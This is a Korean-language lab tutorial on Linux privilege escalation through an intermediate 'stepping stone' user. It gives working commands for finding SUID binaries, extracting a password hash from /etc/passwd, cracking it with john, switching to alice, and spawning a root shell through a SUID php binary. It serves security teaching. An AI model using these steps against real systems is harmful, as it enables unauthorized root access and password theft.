소개
이 랩에서는 root 로 직접 권한 상승을 할 수 없을 때, 권한을 root 사용자로 상승시키는 방법을 배웁니다. 먼저 다른 일반 사용자로 권한을 상승시킨 다음, 해당 사용자의 권한을 사용하여 root 사용자로 권한을 상승시킵니다. 이 중간 사용자를 "디딤돌" 사용자라고 합니다.
이 랩의 목표는 www-data 사용자에서 alice 사용자로, 그리고 alice 사용자에서 root 사용자로 권한을 상승시키는 것입니다.
랩 환경 초기화
이 단계에서는 랩 환경을 초기화합니다.
먼저 터미널을 열고
/home/labex/project디렉토리로 이동합니다.cd /home/labex/project다음 명령을 실행하여 랩 환경을 설정합니다.
./env_setup.sh
이 명령은 랩에 필요한 환경을 설정하는 스크립트를 다운로드하여 실행합니다. 이 명령을 실행한 후, 웹 취약점을 통해 얻은 초기 쉘을 시뮬레이션하여 www-data 사용자로 전환됩니다.
SUID 권한 상승 시도
이 단계에서는 SUID (Set User ID) 기술을 사용하여 권한을 상승시키려고 시도합니다. SUID 비트가 설정된 실행 파일을 검색합니다. 이러한 파일은 파일 소유자 (이 경우 root) 의 권한으로 실행될 수 있습니다.
먼저
www-data사용자가 접근할 수 있는 SUID 실행 파일을 검색해 보겠습니다.find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txt이 명령은 root 사용자가 소유하고 SUID 비트가 설정된 (권한 모드 4000) 파일을 전체 파일 시스템에서 검색합니다.
명령을 실행한 후,
www-data_suid_files.txt파일에 SUID 실행 파일 목록이 표시됩니다. 이 파일의 내용을 살펴보겠습니다.cat ~/www-data_suid_files.txt
하지만, 이 경우에는 SUID 권한 상승에 적합한 파일이 없습니다.
홈 디렉토리 조사
SUID 기술을 사용하여 권한을 상승시킬 수 없었으므로, 잠재적인 발판 사용자 (stepping stone users) 를 찾기 위해 홈 디렉토리를 조사해 보겠습니다.
먼저, 추가 분석을 위해
/home디렉토리의 내용을 파일에 저장합니다.ls -alh /home > ~/home_dir_contents.txt이 명령은
/home디렉토리의 내용을 파일 크기 및 권한을 포함한 긴 형식으로 나열하고, 이를home_dir_contents.txt파일에 저장합니다.다음으로, 잠재적인 발판을 식별하기 위해
home_dir_contents.txt파일의 내용을 검토해 보겠습니다.cat ~/home_dir_contents.txt출력에서
alice라는 디렉토리를 볼 수 있으며, 이는 시스템에alice라는 사용자가 존재함을 나타냅니다.
Alice 사용자 권한 상승 시도
www-data 사용자는 alice 디렉토리에 접근할 수 없으므로, 먼저 alice 사용자로 권한을 상승시키는 방법을 찾아야 합니다.
alice사용자에 대한 정보를 얻기 위해/etc/passwd파일을 확인해 보겠습니다.cat /etc/passwd | grep alice > ~/alice_info.txtalice_info.txt파일의 내용을 확인하여alice사용자의 세부 정보를 확인합니다.cat ~/alice_info.txt예상 출력:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash출력에서 비밀번호 해시를 포함한
alice사용자에 대한 항목을 볼 수 있습니다.비밀번호 해시를 크래킹하기 위해
john도구를 사용할 수 있습니다. 새 터미널을 열고 다음 명령을 실행합니다.john ~/alice_info.txt > cracked_passwords.txt예시 출력:
Created directory: /var/www/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completed이것은 비밀번호 크래킹 프로세스를 시작합니다. 비밀번호가 크래킹되면
cracked_passwords.txt파일에서 비밀번호를 확인할 수 있습니다.cat ~/cracked_passwords.txt예시 출력:
Loaded 1 password hash (md5crypt [MD5 32/64 X2]) beautiful (alice)이 경우,
alice사용자의 비밀번호는beautiful입니다.su명령을 사용하여alice사용자로 전환합니다.su - alice프롬프트가 표시되면 이전에 크래킹한 비밀번호 (
beautiful) 를 입력합니다.beautifulalice사용자로 성공적으로 전환한 후,alice디렉토리로 이동하여alice.txt라는 새 파일을 생성합니다.cd /home/alicealice.txt라는 새 파일을 생성합니다.touch ~/alice.txt이제
alice디렉토리와 그 내용에 접근할 수 있습니다.
Alice 사용자 권한으로 SUID 권한 상승 시도
이제 alice 사용자로 권한을 상승시켰으므로, SUID 권한 상승 기술을 다시 시도해 보겠습니다.
alice사용자의 홈 디렉토리에 있는지 확인합니다.cd /home/aliceSUID 비트가 설정된 파일을 찾으려면 다음 명령을 실행합니다.
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txtSUID 파일 목록을 보려면
alice_suid_files.txt파일의 내용을 확인합니다.cat alice_suid_files.txt예상 출력:
... /var/bin/php ...이번에는
/var/bin/php실행 파일을 출력에서 볼 수 있습니다. 이 파일은 SUID 권한 상승에 사용할 수 있습니다.root 사용자로 권한을 상승시키려면 다음 명령을 실행합니다.
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"이 명령은 root 권한으로 새 셸을 생성하는 PHP 스크립트를 실행합니다.
이제 터미널에서
#프롬프트로 표시되는 root 셸을 갖게 됩니다. root 디렉토리에 파일을 생성하여 root 권한이 있는지 확인합니다.touch /root/root.txt권한 오류 없이 파일이 생성되면 SUID 기술을 사용하여 root 사용자로 권한을 성공적으로 상승시킨 것입니다.
디렉토리 권한의 차이 이해
alice 사용자가 SUID 실행 파일 php를 찾을 수 있었던 반면, www-data 사용자는 왜 찾을 수 없었는지 궁금할 수 있습니다. 그 답은 디렉토리 권한에 있습니다.
마지막 단계 이후에도 아래와 같은 root 사용자의 셸을 가지고 있어야 합니다.
sh-5.1#
/var/bin디렉토리의 권한을 검사하고 출력을 파일에 저장해 보겠습니다.ls -lh /var > /root/var_permissions.txt/var디렉토리의 권한을 보려면var_permissions.txt파일의 내용을 확인합니다.cat /root/var_permissions.txt예상 출력:
total 0 ... drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin ...출력에서
/var/bin디렉토리가alice사용자와 그룹에 의해 소유됨을 확인할 수 있습니다. 다른 사용자는 이 디렉토리에 대한 읽기, 쓰기 또는 실행 권한이 없습니다.
이는 alice 사용자로 권한을 상승시켰을 때, 이전에 www-data 사용자가 접근할 수 없었던 파일과 디렉토리에 접근할 수 있게 되었음을 의미합니다. 이러한 권한의 차이로 인해 SUID 실행 파일을 찾아 권한 상승에 활용할 수 있었습니다.
요약
이 랩에서는 직접적인 root 권한 상승이 불가능할 때 root 사용자로 권한을 상승시키는 방법을 배웠습니다. 먼저 alice 사용자, 즉 중간 단계를 거치는 사용자로 권한을 상승시킨 다음, alice 사용자의 권한을 사용하여 root 사용자로 권한을 상승시켰습니다.
이 랩에서 얻을 수 있는 핵심적인 교훈은 사용자 간의 권한 차이를 항상 염두에 두는 것입니다. 이러한 차이점은 때때로 권한 상승에 활용될 수 있습니다. 이 랩에서는 간단한 예시를 사용했지만, 실제 시나리오는 더 복잡할 수 있습니다. 하지만 핵심 원리는 동일합니다. 즉, 사용자 권한의 차이를 악용하여 권한 상승을 달성하는 것입니다.



